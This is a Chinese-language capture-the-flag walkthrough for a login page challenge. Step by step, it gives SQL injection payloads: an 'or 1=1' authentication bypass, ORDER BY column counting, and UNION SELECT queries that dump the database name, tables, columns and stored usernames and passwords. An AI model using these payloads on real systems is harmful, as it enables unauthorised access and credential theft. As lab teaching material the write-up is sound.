进去之后:
发现登录框,可能是万能密码登录,我们试一下:
在登录框中输入:
用户名:1' or 1=1#
密码:123(随便输)
点击登录
跳转到了check.php页面。并得到了用户名和密码:
尝试密码md5解密失败,还是回到注入的思路上,查询字段数:
在url中输入:
/check.php?username=admin' order by 3%23&password=1 存在
/check.php?username=admin' order by 4%23&password=1 报错
注意:此时是在url中输入的,所以不能用#,而用其url编码%23。
可知共3个字段。用union
查询测试注入点(回显点位):
/check.php?username=1' union select 1,2,3%23&password=1
得到回显点位为2和3,查询当前数据库名及版本:
/check.php?username=1' union select 1,database(),version()%23&password=1
可知当前数据库为geek
接下来:
爆表:
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
爆出这两个表,我们试一下l0ve1ysq1这个表:
爆字段:
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
得到这三个子段,
爆数据:
/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
得到flag: